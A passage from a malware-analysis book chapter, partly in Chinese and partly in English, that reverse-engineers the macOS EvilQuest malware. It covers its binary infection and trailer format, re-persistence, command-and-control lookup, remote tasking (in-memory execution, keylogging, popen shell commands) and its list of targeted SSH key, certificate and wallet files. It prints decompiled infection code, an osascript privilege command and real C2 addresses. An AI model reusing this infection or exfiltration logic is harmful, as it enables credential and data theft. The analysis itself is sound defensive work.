is_executable函数执行多个检查,只选择列表中小于 25MB 的非应用程序 Mach-O 可执行文件。如果你查看is_executable的注释反汇编代码,从0x0000000100004ac0开始,你会看到第一个检查,它确认该文件不是应用程序(见清单 11-21):
0x0000000100004acc mov rdi, qword [rbp+path]
0x0000000100004ad0 lea rsi, qword [aApp] ; ".app/" 1
0x0000000100004ad7 call strstr 2
0x0000000100004adc cmp rax, 0x0 ; substring not found
0x0000000100004ae0 je continue
0x0000000100004ae6 mov dword [rbp+result], 0x0 3
0x0000000100004aed jmp leave
清单 11-21:is_executable函数的核心逻辑
我们可以看到,is_executable首先使用strstr函数检查传入的路径是否包含".app/"。如果包含,is_executable函数将提前返回0x0,这意味着恶意软件跳过了应用程序包中的二进制文件。
对于非应用程序文件,is_executable函数打开文件并读取0x1c字节,如清单 11-22 所示:
stream = fopen(path, "rb");
if (stream == 0x0) {
result = -1;
}
else {
rax = fread(&bytesRead, 0x1c, 0x1, stream);
清单 11-22:读取候选文件的开头
然后,它通过查找文件末尾(通过fseek)并检索文件流的位置(通过ftell)来计算文件的大小。如果文件的大小大于0x1900000字节(25MB),is_executable函数将为该文件返回0(见清单 11-23):
fseek(stream, 0x0, 0x2);
size = ftell(stream);
if (size > 0x1900000) {
result = 0x0;
}
清单 11-23:计算候选文件的大小
接下来,is_executable函数通过检查文件是否以 Mach-O 的“魔法”值开始来判断文件是否为 Mach-O 二进制文件。在第五章中,我们注意到 Mach-O 头部总是以某个值开始,这个值可以识别该二进制文件是 Mach-O 格式。你可以在 Apple 的mach-o/loader.h中找到所有魔法值的定义。例如,0xfeedface是 32 位 Mach-O 二进制文件的“魔法”值(见清单 11-24):
0x0000000100004b8d cmp dword [rbp+header.magic], 0xfeedface
0x0000000100004b94 je continue
0x0000000100004b9a cmp dword [rbp+header.magic], 0xcefaedfe
0x0000000100004ba1 je continue
0x0000000100004ba7 cmp dword [rbp+header.magic], 0xfeedfacf
0x0000000100004bae je continue
0x0000000100004bb4 cmp dword [rbp+header.magic], 0xcffaedfe
0x0000000100004bbb jne leave
清单 11-24:检查 Mach-O 常量
为了提高反汇编的可读性,我们指示 Hopper 将从文件开始处读取的字节视为 Mach-O 头结构(图 11-1)。

图 11-1:将文件头类型转换为 Mach-O 头
最后,该函数检查文件的 Mach-O 头部中的filetype成员,以确定它是否包含值0x2(清单 11-25):
0x0000000100004bc1 cmp dword [rbp+header.filetype], 0x2
0x0000000100004bc5 jne leave
0x0000000100004bcb mov dword [rbp+result], 0x1
清单 11-25:检查文件的 Mach-O 类型
我们可以查阅 Apple 的 Mach-O 文档了解到,如果文件是标准可执行文件而不是动态库或捆绑包,则该成员将被设置为0x2(MH_EXECUTE)。
一旦is_executable完成这些检查,它将返回一个符合其标准的文件列表。
感染目标文件
对于每个被识别为感染候选的文件,恶意软件会调用一个名为append_ei的函数,该函数包含实际的病毒感染逻辑。大体上,该函数通过以下方式修改目标文件:将恶意软件的副本添加到文件前面;然后附加一个尾部,包含感染标识符和指向文件原始代码的偏移量。
我们可以通过将我们自己的二进制文件放入用户的主目录中,并在调试器中运行恶意软件,观察它与我们的文件互动,来看到这种病毒性感染的作用。任何小于 25MB 的 Mach-O 二进制文件都可以工作。在这里,我们将使用通过在 Xcode 中编译 Apple 的示例“Hello, World!”代码生成的二进制文件。
在调试器中,在0x0000000100004bf0处设置一个断点,针对append_ei函数,正如清单 11-26 所示:
# lldb /Library/mixednkey/toolroomd
...
(lldb)**b 0x0000000100004bf0**
Breakpoint 1: where = toolroomd`toolroomd[0x0000000100004bf0], address = 0x0000000100004bf0
(lldb) **c**
Process 1369 stopped
* thread #3, stop reason = breakpoint 1.1
(lldb) **x/s $rdi**
0x7ffeefbffcf0: "/Library/mixednkey/toolroomd"
(lldb) **x/s $rsi**
0x100323a30: "/Users/user/HelloWorld"
清单 11-26:传递给append_ei函数的参数
当断点被触发时,请注意该函数是以两个参数调用的,分别存储在RDI和RSI寄存器中:恶意软件的路径和要感染的目标文件。接下来,append_ei调用stat函数检查目标文件是否可访问。你可以在清单 11-27 的注释反汇编中看到这一点:
if(0 != stat(targetPath, &buf) )
{
return -1;
}
清单 11-27:检查候选文件的可访问性
然后,源文件会完全读取到内存中。在调试器中,我们看到这个文件就是恶意软件本身。它将以病毒方式被添加到目标二进制文件中(清单 11-28)。
FILE* src = fopen(sourceFile, "rb");
fseek(src, 0, SEEK_END);
int srcSize = ftell(src);
fseek(src, 0, SEEK_SET);
char* srcBytes = malloc(srcSize);
fread(srcBytes, 0x1, srcSize, src);
清单 11-28:恶意软件,读取自身到内存中
一旦恶意软件被读取到内存中,目标二进制文件就会被打开并完全读取到内存中(清单 11-29)。注意,它是以更新模式(使用rb+)打开的,因为恶意软件很快会对其进行修改 1。
1 FILE* target = fopen(targetFile, "rb+");
fseek(target, 0, SEEK_END);
int targetSize = ftell(target);
fseek(target, 0, SEEK_SET);
char* targetBytes = malloc(targetSize);
fread(targetBytes, 0x1, targetSize, target);
清单 11-29:将目标二进制文件读取到内存中
接下来,append_ei函数中的代码检查目标文件是否已经被感染(对同一个二进制文件进行两次感染没有意义)。为此,代码调用了一个名为unpack_trailer的函数。该函数位于0x00000001000049c0,它会查找附加到感染文件末尾的“尾部”数据。稍后我们将讨论这个函数和尾部数据的详细信息。现在需要注意的是,如果调用unpack_trailer返回尾部数据,EvilQuest 就知道文件已经被感染,append_ei函数将退出(见列表 11-30):
0x0000000100004e6a call unpack_trailer
0x0000000100004e6f mov qword [rbp+trailerData], rax
0x0000000100004e82 cmp qword [rbp+trailerData], 0x0
0x0000000100004e8a je continue
...
0x0000000100004eb4 mov dword [rbp+result], 0x0
0x0000000100004ec1 jmp leave
continue:
0x0000000100004ec6 xor eax, eax
列表 11-30:检查目标文件是否已经感染
假设目标文件尚未感染,恶意软件会用其自身覆盖目标文件。为了保持目标文件的功能,append_ei 函数接着会将文件原始的字节追加上去,这些字节已经被读取到内存中(见列表 11-31):
fwrite(srcBytes, 0x1, srcSize, target);
fwrite(targetBytes, 0x1, targetSize, target);
列表 11-31:将恶意软件和目标文件写入磁盘
最后,恶意软件初始化尾部,并使用pack_trailer函数对其进行格式化。然后,尾部被写入感染文件的末尾,如列表 11-32 所示:
int* trailer = malloc(0xC);
trailer[0] = 0x3;
trailer[1] = srcSize;
trailer[2] = 0xDEADFACE;
packedTrailer = packTrailer(&trailer, 0x0);
fwrite(packedTrailer, 0x1, 0xC, target);
列表 11-32:将尾部写入磁盘
该尾部包含一个字节值0x3,后面跟着恶意软件的大小。由于恶意软件被插入到目标文件的开头,因此该值也是感染文件原始字节的偏移量。正如你所看到的,恶意软件使用这个值在执行时恢复被感染二进制文件的原始功能。尾部还包含一个感染标记0xdeadface。表格 11-1 展示了最终文件的布局。
表格 11-1:病毒感染逻辑创建的文件结构
| 病毒代码 |
|---|
| 原始代码 |
尾部 0x3 | 病毒代码的大小(原始代码的偏移) | 0xdeadface |
让我们检查被感染的HelloWorld二进制文件,以确认它是否符合这种布局。查看列表 11-33 中的十六进制转储:
% **hexdump -C HelloWorld**
00000000 cf fa ed fe 07 00 00 01 03 00 00 80 02 00 00 00 |................|
00000010 12 00 00 00 c0 07 00 00 85 00 20 04 00 00 00 00 |.......... .....|
00000020 19 00 00 00 48 00 00 00 5f 5f 50 41 47 45 5a 45 |....H...__PAGEZE|
00000030 52 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |RO..............|
00015770 cf fa ed fe 07 00 00 01 03 00 00 00 02 00 00 00 |................| 1
00015780 14 00 00 00 08 07 00 00 85 00 20 00 00 00 00 00 |.......... .....|
00015790 19 00 00 00 48 00 00 00 5f 5f 50 41 47 45 5a 45 |....H...__PAGEZE|
000157a0 52 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |RO..............|
000265b0 03 70 57 01 00 ce fa ad de |.pW......| 2
列表 11-33:感染文件的十六进制转储
十六进制转储以小端顺序显示字节值。我们发现恶意软件的 Mach-O 二进制代码位于二进制文件的开头,而原始的Hello World代码从偏移0x15770 1 开始。在文件的末尾,我们看到了打包的尾部:03 70 57 01 00 ce fa ad de 2。第一个值是字节0x3,而后面的两个值按 32 位十六进制整数查看为0x00015770,即恶意软件的大小和指向原始字节的偏移量,0xdeadface为感染标记。
从感染文件执行并重新持久化
当用户或系统运行一个被 EvilQuest 感染的二进制文件时,注入到二进制文件中的恶意软件副本将开始执行。这是因为 macOS 的动态加载器会执行二进制文件开头的内容。
作为初始化的一部分,恶意软件调用一个名为extract_ei的方法,该方法检查运行进程的磁盘镜像。具体来说,恶意软件从文件的末尾读取0x20字节的“尾部”数据,并通过调用名为unpack_trailer的函数进行解包。如果这些尾部字节的最后一个是0xdeadface,恶意软件知道它是由于受感染的文件执行,而不是例如从它的启动项之一执行(列表 11-34):
;unpack_trailer
;rcx: trailer data
0x0000000100004a39 cmp dword ptr [rcx+8], 0xdeadface
0x0000000100004a40 mov [rbp+var_38], rax
0x0000000100004a44 jz isInfected
列表 11-34:检查尾部数据
如果找到尾部数据,extract_ei函数会返回指向受感染文件中恶意软件字节的指针。它还会返回这些数据的长度;请记住,这个值存储在尾部数据中。该代码块会在需要时重新保存、重新持久化并重新执行恶意软件,正如你在列表 11-35 中看到的那样:
maliciousBytes = extract_ei(argv, &size);
if (maliciousBytes != 0x0) {
persist_executable_frombundle(maliciousBytes, size, ...);
install_daemon(...);
run_daemon(...);
...
列表 11-35:恶意软件重新保存、重新持久化并重新启动自身
如果我们执行受感染的二进制文件,我们可以在调试器中确认该文件调用了在0x0000000100008df0实现的persist_executable_frombundle函数。此函数负责将恶意软件从受感染文件写入磁盘,正如列表 11-36 中调试器输出所示:
% **lldb ~/HelloWorld**
...
Process 1209 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over
frame #0: 0x000000010000bee7 HelloWorld
-> 0x10000bee7: callq persist_executable_frombundle
(lldb) **reg read**
General Purpose Registers:
...
rdi = 0x0000000100128000 1
rsi = 0x0000000000015770 2
(lldb) **x/10wx $rdi**
0x100128000: 0xfeedfacf 0x01000007 0x80000003 0x00000002
0x100128010: 0x00000012 0x000007c0 0x04200085 0x00000000
0x100128020: 0x00000019 0x00000048
列表 11-36:persist_executable_frombundle函数的参数
我们看到它调用时传入了指向受感染文件中恶意软件字节的指针 1 以及该数据的长度指针 2。
在文件监视器中,我们可以观察到受感染的二进制文件执行此逻辑以重新创建恶意软件的持久二进制文件(~/Library/AppQuest/com.apple.quest)和启动代理属性列表(com.apple.questd.plist),正如在列表 11-37 中所示:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty –filter HelloWorld
{
"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
"file" : {
"destination" : "/Users/user/Library/AppQuest/com.apple.questd",
"process" : {
"uid" : 501,
"path" : "/Users/user/HelloWorld",
"name" : "HelloWorld",
"pid" : 1209
...
}
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
"file" : {
"destination" : "/Users/user/Library/LaunchAgents/com.apple.questd.plist",
"process" : {
"uid" : 501,
"path" : "/Users/user/HelloWorld",
"name" : "HelloWorld",
"pid" : 1209
...
}
}
}
列表 11-37:观察恶意启动代理二进制文件和 plist 的重新创建
你可能注意到,恶意软件没有重新创建其启动守护进程,因为这需要 root 权限,而受感染的进程并没有这些权限。
然后,受感染的二进制文件通过launchctl启动恶意软件,正如你在进程监视器中看到的(列表 11-38):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 501,
"arguments" : [
"launchctl",
"submit",
"-l",
"questd",
"-p",
"/Users/user/Library/AppQuest/com.apple.questd"
],
"name" : "launchctl",
"pid" : 1309
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 501,
"path" : "/Users/user/Library/AppQuest/com.apple.questd",
"name" : "com.apple.questd",
"pid" : 1310
}
}
列表 11-38:观察新持久化恶意软件的重新启动
这证实了本地病毒感染的主要目标是确保系统保持感染状态,即使恶意软件的启动项和二进制文件被删除。真狡猾!
执行受感染文件的原始代码
现在,受感染的二进制文件已经重新持久化并重新执行了恶意软件,它需要执行受感染二进制文件的原始代码,以便用户看不出任何异常。这由名为run_target的函数处理,位于0x0000000100005140。
run_target函数首先查阅尾部数据,以获取受感染文件中原始字节的偏移量。然后,该函数将这些字节写入一个新文件,命名规则为.chmod)并执行(通过execl)2:
1 file = fopen(newPath, "wb");
fwrite(bytes, 0x1, size, file);
fclose(file);
chmod(newPath, mode);
2 execl(newPath, 0x0);
第 11-39 条目:执行受感染二进制的原始实例以确保没有任何异常出现
进程监视器可以捕获包含原始二进制字节的新文件的执行事件(第 11-40 条目):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"uid" : 501,
"path" : "/Users/user/.HelloWorld1",
"name" : ".HelloWorld1",
"pid" : 1209
}
}
第 11-40 条目:观察执行受感染二进制的原始实例
将原始字节写入新文件并在执行之前是保留原始文件的代码签名和权限的一个好处。当 EvilQuest 感染一个二进制文件时,它会通过恶意修改文件来使任何代码签名和权限失效。尽管 macOS 仍然允许二进制文件运行,但它将不再尊重其权限,这可能会破坏合法的功能。仅仅将原始字节写入新文件可以恢复代码签名和任何权限。这意味着当执行时,新文件将按预期运行。
远程通信逻辑
EvilQuest 感染系统上的其他二进制文件后,会执行额外的操作,如文件外泄和执行远程任务。这些操作需要与远程服务器进行通信。在本节中,我们将探讨这种远程通信的逻辑。
中介和命令与控制服务器
为了确定其远程命令和控制服务器的地址,恶意软件调用一个名为get_mediator的函数。实现在0x000000010000a910,此函数接受两个参数:服务器地址和文件名。然后调用名为http_request的函数向指定服务器请求指定文件,恶意软件期望该文件包含命令和控制服务器的地址。这种间接查找机制很方便,因为它允许恶意软件作者随时更改命令和控制服务器的地址。他们所需做的就是更新主服务器上的文件。
Examining the malware’s disassembly turns up several cross references to the `get_mediator` function. The code prior to these calls references the server and file. Unsurprisingly, both are encrypted (Listing 11-41): ``` 0x00000001000016bf lea rdi, qword [a3ihmvk0rfo0r3k] 0x00000001000016c6 call ei_str 0x00000001000016cb lea rdi, qword [a1mnsh21anlz906] 0x00000001000016d2 mov qword [rbp+URL], rax 0x00000001000016d9 call _ei_str 0x00000001000016de mov rdi, qword [rbp+URL] 0x00000001000016e5 mov rsi, rax 0x00000001000016e8 call get_mediator ``` Listing 11-41: Argument initializations and a call to the `get_mediator` function Using a debugger or our injectable *deobfuscator dylib* discussed in Chapter 10, we can easily retrieve the plaintext for these strings: ``` 3iHMvK0RFo0r3KGWvD28URSu06OhV61tdk0t22nizO3nao1q0000033 -> andrewka6.pythonanywhere 1MNsh21anlz906WugB2zwfjn0000083 -> ret.txt ``` You could also run a network sniffer such as Wireshark to passively capture the network request in action and reveal both the server and filename. Once the HTTP request to *andrewka6.pythonanywhere* for the file *ret.txt* completes, the malware will have the address of its command and control server. At the time of the malware’s discovery in mid-2020, this address was `167.71.237.219`. If the HTTP request fails, EvilQuest has a backup plan. The `get_mediator` function’s main caller is the `eiht_get_update` function, which we’ll cover in the following section. Here, we’ll just note that the function will fall back to a hardcoded command and control server if the call to `get_mediator` fails (Listing 11-42): ``` eiht_get_update() { ... if(*mediated == NULL) { *mediated = get_mediator(url, page); if (*mediated == 0x0) { //167.71.237.219 *mediated = ei_str("1utt{h1QSly81vOiy83P9dPz0000013"); } ... ``` Listing 11-42: Fallback logic for a backup command and control server The hardcoded address of the command and control server, `167.71.237.219`, matches the one found online in the *ret.txt* file. ### Remote Tasking Logic A common feature of persistent malware is the ability to accept commands remotely from an attacker and run them on the victim system. It’s important to figure out what commands the malware supports in order to gauge the full impact of an infection. Though EvilQuest only supports a small set of commands, these are enough to afford a remote attacker complete control of an infected system. Interestingly, some the commands appear to be placeholders for now, as they are unimplemented and return `0` if invoked. The tasking logic starts in the main function, where another function named `eiht_get_update` is invoked. This function first attempts to retrieve the address of the attacker’s command and control server via a call to `get_mediator`. If this call fails, the malware will fall back to using the hardcoded address we identified in the previous section. The malware then gathers basic host information via a function named `ei_get_host_info`. Looking at the disassembly of this function (Listing 11-43) reveals it invokes macOS APIs like `uname`, `getlogin`, and `gethostname` to generate a basic survey of the infected host: ``` ei_get_host_info: 0x0000000100005b00 push rbp 0x0000000100005b01 mov rbp, rsp ... 0x0000000100005b1d call uname ... 0x0000000100005f18 call getlogin ... 0x0000000100005f4a call gethostname ``` Listing 11-43: The `ei_get_host_info` survey logic In a debugger, we can wait until the `ei_get_host_info` function is about to execute the `retq` instruction 1 in order to return to its caller and then dump the survey data it has collected (Listing 11-44) 2: ``` (lldb) **x/i $rip** 1 -> 0x100006043: c3 retq 2 (lldb) **p ((char**)$rax)[0]** 0x0000000100207bb0 "user[(null)]" (lldb) **p ((char**)$rax)[1]** 0x0000000100208990 "Darwin 19.6\. (x86_64) US-ASCII yes-no" ``` Listing 11-44: Dumping the survey The survey data is serialized via a call to a function named `eicc_serialize_request` (implemented at `0x0000000100000d30`) before being sent to the attacker’s command and control server by the `http_request` function. At `0x000000010000b0a3` we find a call to a function named `eicc_deserialize_request`, which deserializes the response from the server. A call to the `eiht_check_command` function (implemented at `0x000000010000a9b0`) validates the response, which should be a command to execute. Interestingly, it appears that some information about the received command, perhaps a checksum, is logged to a file called *.shcsh* by means of a call to the `eiht_append_command` function (Listing 11-45): ``` int eiht_append_command(int arg0, int arg1) { checksum = ei_tpyrc_checksum(arg0, arg1); ... file = fopen(".shcsh", "ab"); fseek(var_28, 0x0, 0x2); fwrite(&checksum, 0x1, 0x4, file); fclose(file); ... } ``` Listing 11-45: Perhaps a cache of received commands? Finally, `eiht_get_update` invokes a function named `dispatch` to handle the command. Reverse engineering the `dispatch` function, found at `0x000000010000a7e0`, reveals support for seven commands. Let’s detail each of these. ### react_exec (0x1) If the command and control server responds with the command `0x1` 1, the malware will invoke a function named `react_exec` 2, as shown in Listing 11-46: ``` dispatch: 0x000000010000a7e0 push 0x000000010000a7e1 mov rbp, rsp ... 0x000000010000a7e8 mov qword [rbp+ptrCommand], rdi ... 0x000000010000a7fe mov rax, qword [rbp+ptrCommand] 0x000000010000a802 mov rax, qword [rax] 1 0x000000010000a805 cmp dword [rax], 0x1 0x000000010000a808 jne continue 0x000000010000a80e mov rdi, qword [rbp+ptrCommand] 2 0x000000010000a812 call react_exec ``` Listing 11-46: Invocation of the `react_exec` function The `react_exec` command will execute a payload received from the server. Interestingly, `react_exec` attempts to first execute the payload directly from memory. This ensures that the payload never touches the infected system’s filesystem, providing a reasonable defense against antivirus scanning and forensics tools. To execute the payload from memory, `react_exec` calls a function named `ei_run_memory_hrd`, which invokes various Apple APIs to load and link the in-memory payload. Once the payload has been prepared for in-memory execution, the malware will execute it (Listing 11-47): ``` ei_run_memory_hrd: 0x0000000100003790 push rbp 0x0000000100003791 mov rbp, rsp ... 0x0000000100003854 call NSCreateObjectFileImageFromMemory ... 0x0000000100003973 call NSLinkModule ... 0x00000001000039aa call NSLookupSymbolInModule ... 0x00000001000039da call NSAddressOfSymbol ... 0x0000000100003a11 call rax ``` Listing 11-47: The `ei_run_memory_hrd`’s in-memory coded execution logic In my BlackHat 2015 talk “Writing Bad @$$ Malware for OS X,” I discussed this same in-memory code execution technique and noted that Apple used to host similar sample code.^(3) The code in EvilQuest’s `react_exec` function seems to be directly based on Apple’s code. For example, both Apple’s code and the malware use the string `"[Memory Based Bundle]"`. However, it appears there is a bug in the malware’s “run from memory” logic (Listing 11-48): ``` 000000010000399c mov rdi, qword [module] 00000001000039a3 lea rsi, qword [a2l78i0wi...] ;"_2l78|i0Wi0rn2YVsFe3..." 00000001000039aa call NSLookupSymbolInModule ``` Listing 11-48: A bug in the malware’s code Notice that the malware author failed to deobfuscate the symbol via a call to `ei_str` before passing it to the `NSLookupSymbolInModule` API. Thus, the symbol resolution will fail. If the in-memory execution fails, the malware contains backup logic and instead writes out the payload to a file named *.xookc*, sets it to be executable via `chmod`, and then executes via the following: ``` osascript -e "do shell script \"sudo open .xookc\" with administrator privileges" ``` ### react_save (0x2) The `0x2` command causes the malware to execute a function named `react_save`. This function downloads an executable file from the command and control server to the infected system. Take a look at the decompiled code of this function in Listing 11-49, which is implemented at `0x000000010000a300`. We can see it first decodes data received from the server via a call to the `eib_decode` function. Then it saves this data to a file with a filename specified by the server. Once the file is saved, `chmod` is invoked with `0x1ed` (or `0755` octal), which sets the file’s executable bit. ``` int react_save(int arg0) { ... decodedData = eib_decode(...data from server...); file = fopen(name, "wb"); fwrite(decodedData, 0x1, length, file); fclose(file); chmod(name, 0x1ed); ... ``` Listing 11-49: The core logic of the `react_save` function ### react_start (0x4) If EvilQuest receives command `0x4` from the server, it invokes a method named `react_start`. However, this function is currently unimplemented and simply sets the `EAX` register to `0` via the XOR instruction 1 (Listing 11-50): ``` dispatch: 0x000000010000a7e0 push 0x000000010000a7e1 mov rbp, rsp ... 0x000000010000a826 cmp dword [rax], 0x4 0x000000010000a829 jne continue 0x000000010000a82f mov rdi, qword [rbp+var_10] 0x000000010000a833 call react_start react_start: 0x000000010000a460 push rbp 0x000000010000a461 mov rbp, rsp 0x000000010000a464 xor 1 eax, eax 0x000000010000a466 mov qword [rbp+var_8], rdi 0x000000010000a46a pop rbp 0x000000010000a46b ret ``` Listing 11-50: The `react_start` function remains unimplemented In future versions of the malware, perhaps we’ll see completed versions of this (and the other currently unimplemented) commands. ### react_keys (0x8) If EvilQuest encounters command `0x8`, it will invoke a function named `react_keys`, which kicks off keylogging logic. A closer look at the disassembly of the `react_keys` function reveals it spawns a background thread to execute a function named `eilf_rglk_watch_routine`. This function invokes various CoreGraphics APIs that allow a program to intercept user keypresses (Listing 11-51): ``` eilf_rglk_watch_routine: 0x000000010000d460 push rbp 0x000000010000d461 mov rbp, rsp ... 0x000000010000d48f call CGEventTapCreate ... 0x000000010000d4d2 call CFMachPortCreateRunLoopSource ... 0x000000010000d4db call CFRunLoopGetCurrent ... 0x000000010000d4f1 call CFRunLoopAddSource ... 0x000000010000d4ff call CGEventTapEnable ... 0x000000010000d504 call CFRunLoopRun ``` Listing 11-51: Keylogger logic, found within the `eilf_rglk_watch_routine` function Specifically, the function creates an event tap via the `CGEventTapCreate` API, adds it to the current run loop, and then invokes the `CGEventTapEnable` to activate the event tap. Apple’s documentation for `CGEventTapCreate` specifies that it takes a user-specified callback function that will be invoked for each event, such as a keypress.^(4) As this callback is the `CGEventTapCreate` function’s fifth argument, it will be passed in the `R8` register (Listing 11-52): ``` 0x000000010000d488 lea r8, qword [process_event] 0x000000010000d48f call CGEventTapCreate ``` Listing 11-52: The callback argument for the `CGEventTapCreate` function Taking a peek at the malware’s `process_event` callback function reveals it’s converting the keypress (a numeric key code) to a string via a call to a helper function named `kconvert`. However, instead of logging this captured keystroke or exfiltrating it directly to the attacker, it simply prints it out locally (Listing 11-53): ``` int process_event(...) { ... keycode = kconvert(CGEventGetIntegerValueField(keycode, 0x9) & 0xffff); printf("%s\n", keycode); ``` Listing 11-53: The keylogger’s callback function, `process_event` Maybe this code is still a work in progress. ### react_ping (0x10) The next command, `react_ping`, is invoked if the malware receives a `0x10` from the server (Listing 11-54). The `react_ping` first decrypts the encrypted string, `"1|N|2P1RVDSH0KfURs3Xe2Nd0000073"`, and then compares it with a string it has received from the server: ``` react_ping: 0x000000010000a500 push rbp 0x000000010000a501 mov rbp, rsp ... 0x000000010000a517 lea rax, qword [a1n2p1rvdsh0kfu] ; "1|N|2P1RVDS..." ... 0x000000010000a522 mov rdi, rax 0x000000010000a525 call ei_str ... 0x000000010000a52c mov rdi, qword [rbp+strFromServer] 0x000000010000a530 mov rsi, rax 0x000000010000a536 call strcmp ... ``` Listing 11-54: The core logic of the `react_ping` function Using our decryptor library, or a debugger, we can decrypt the string, which reads “Hi there.” If the server sends the “Hi there” message to the malware, the string comparison will succeed, and `react_ping` will return a success. Based on this command’s name and its logic, it is likely used by the remote attack to check the status (or availability) of an infected system. This is, of course, rather similar to the popular `ping` utility, which can be used to test the reachability of a remote host. ### react_host (0x20) Next we find logic to execute a function named `react_host` if a `0x20` is received from the server. However, as was the case with the `react_start` function, `react_host` is currently unimplemented and simply returns `0x0`. ### react_scmd (0x40) The final command supported by EvilQuest invokes a function named `react_scmd` in response to a `0x40` from the server (Listing 11-55): ``` react_scmd: 0x0000000100009e80 push rbp 0x0000000100009e81 mov rbp, rsp ... 0x0000000100009edd mov rdi, qword [command] 0x0000000100009ee1 lea rsi, qword [mode] 0x0000000100009eec call popen ... 0x0000000100009f8e call fread ... 0x000000010000a003 call eicc_serialize_request ... 0x000000010000a123 call http_request ``` Listing 11-55: The core logic of the `react_scmd` function This function will execute a command specified by the server via the `popen` API. Once the command has been executed, the output is captured and transmitted to the server via the `eicc_serialize_request` and `http_request` functions. This wraps up the analysis of EvilQuest’s remote tasking capabilities. Though some of the commands appear incomplete or unimplemented, others afford a remote attacker the ability to download additional updates or payloads and execute arbitrary commands on an infected system. ## The File Exfiltration Logic One of EvilQuest’s main capabilities is the exfiltration of a full directory listing and files that match a hardcoded list of regular expressions. In this section we’ll analyze the relevant code to understand this logic. ### Directory Listing Exfiltration Starting in the main function, the malware creates a background thread to execute a function named `ei_forensic_thread`, as shown in Listing 11-56: ``` rax = pthread_create(&thread, 0x0, ei_forensic_thread, &args); if (rax != 0x0) { printf("Cannot create thread!\n"); exit(-1); } ``` Listing 11-56: Executing the `ei_forensic_thread` function via a background thread The `ei_forensic_thread` function first invokes the `get_mediator` function, described in the previous section, to determine the address of the command and control server. It then invokes a function named `lfsc_dirlist`, passing in an encrypted string (that decrypts to `"/Users"`), as seen in Listing 11-57: ``` 0x000000010000170a mov rdi, qword [rbp+rax*8+var_30] 0x000000010000170f call ei_str ... 0x0000000100001714 mov rdi, qword [rbp+var_10] 0x0000000100001718 mov esi, dword [rdi+8] 0x000000010000171b mov rdi, rax 0x000000010000171e call lfsc_dirlist ``` Listing 11-57: Invoking the `lfsc_dirlist` function The `lfsc_dirlist` function performs a recursive directory listing, starting at a specified root directory and searching each of its files and directories. After we step over the call to `lfsc_dirlist` in the following debugger output, we can see that the function returns this recursive directory listing, which indeed starts at `"/Users"` (Listing 11-58): ``` # **lldb /Library/mixednkey/toolroomd** ... (lldb) **b 0x000000010000171e** Breakpoint 1: where = toolroomd`toolroomd[0x000000010000171e], address = 0x000000010000171e (lldb) **c** * thread #4, stop reason = breakpoint 1.1 -> 0x10000171e: callq lfsc_dirlist (lldb)**ni** (lldb) **x/s $rax** 0x10080bc00: "/Users/user /Users/Shared /Users/user/Music /Users/user/.lldb /Users/user/Pictures /Users/user/Desktop /Users/user/Library /Users/user/.bash_sessions /Users/user/Public /Users/user/Movies /Users/user/.Trash /Users/user/Documents /Users/user/Downloads /Users/user/Library/Application Support /Users/user/Library/Maps /Users/user/Library/Assistant ... ``` Listing 11-58: The generated (recursive) directory listing If you consult the disassembly, you’ll be able to see that this directory listing is then sent to the attacker’s command and control server via a call to the malware’s `ei_forensic_sendfile` function. ### Certificate and Cryptocurrency File Exfiltration Once the infected system’s directory listing has been exfiltrated, EvilQuest once again invokes the `get_targets` function. Recall that, given a root directory such as */Users*, the `get_targets` function recursively generates a list of files. For each file encountered, the malware applies a callback function to check whether the file is of interest. In this case, `get_targets` is invoked with the `is_lfsc_target` callback: ``` rax = get_targets(rax, &var_18, &var_1C, **is_lfsc_target**); ``` In Listing 11-59’s abridged decompilation, note that the `is_lfsc_target` callback function invokes two helper functions, `lfsc_parse_template` and `is_lfsc_target`, to determine if a file is of interest: ``` int is_lfsc_target(char* file) { memcpy(&templates, 1 0x100013330, 0x98); isTarget = 0x0; length = strlen(file); index = 0x0; do { if(isTarget) break; if(index >= 0x13) break; template = ei_str(templates+index*8); parsedTemplate = lfsc_parse_template(template); if(lfsc_match(parsedTemplate, file, length) == 0x1) { isTarget = 0x1; } index++; } while (true); return isTarget; } ``` Listing 11-59: Core logic of the `is_lfsc_target` function From this decompilation, we can also see that the templates used to determine if a file is of interest are loaded from `0x100013330` 1. If we check this address, we find a list of encrypted strings, shown in Listing 11-60: ``` 0x0000000100013330 dq 0x0000000100010a95 ; "2Y6ndF3HGBhV3OZ5wT2ya9se0000053", 0x0000000100013338 dq 0x0000000100010ab5 ; "3mkAT20Khcxt23iYti06y5Ay0000083" 0x0000000100013340 dq 0x0000000100010ad5 ; "3mTqdG3tFoV51KYxgy38orxy0000083" 0x0000000100013348 dq 0x0000000100010af5 ; "2Glxas1XPf4|11RXKJ3qj71m0000023" ... ``` Listing 11-60: Encrypted list of files of “interest” Thanks to our injected decryptor library, we have the ability to decrypt this list (Listing 11-61): ``` % **DYLD_INSERT_LIBRARIES=/tmp/decryptor.dylib /Library/mixednkey/toolroomd** **... decrypted string (0x100010a95): *id_rsa*/i decrypted string (0x100010ab5): *.pem/i decrypted string (0x100010ad5): *.ppk/i decrypted string (0x100010af5): known_hosts/i decrypted string (0x100010b15): *.ca-bundle/i decrypted string (0x100010b35): *.crt/i decrypted string (0x100010b55): *.p7!/i decrypted string (0x100010b75): *.!er/i decrypted string (0x100010b95): *.pfx/i decrypted string (0x100010bb5): *.p12/i decrypted string (0x100010bd5): *key*.pdf/i decrypted string (0x100010bf5): *wallet*.pdf/i decrypted string (0x100010c15): *key*.png/i decrypted string (0x100010c35): *wallet*.png/i decrypted string (0x100010c55): *key*.jpg/i decrypted string (0x100010c75): *wallet*.jpg/i decrypted string (0x100010c95): *key*.jpeg/i decrypted string (0x100010cb5): *wallet*.jpeg/i ...** ``` **Listing 11-61: Decrypted list of files of “interest” From the decrypted list, we can see that EvilQuest has a propensity for sensitive files, such as certificates and cryptocurrency wallets and keys! Once the 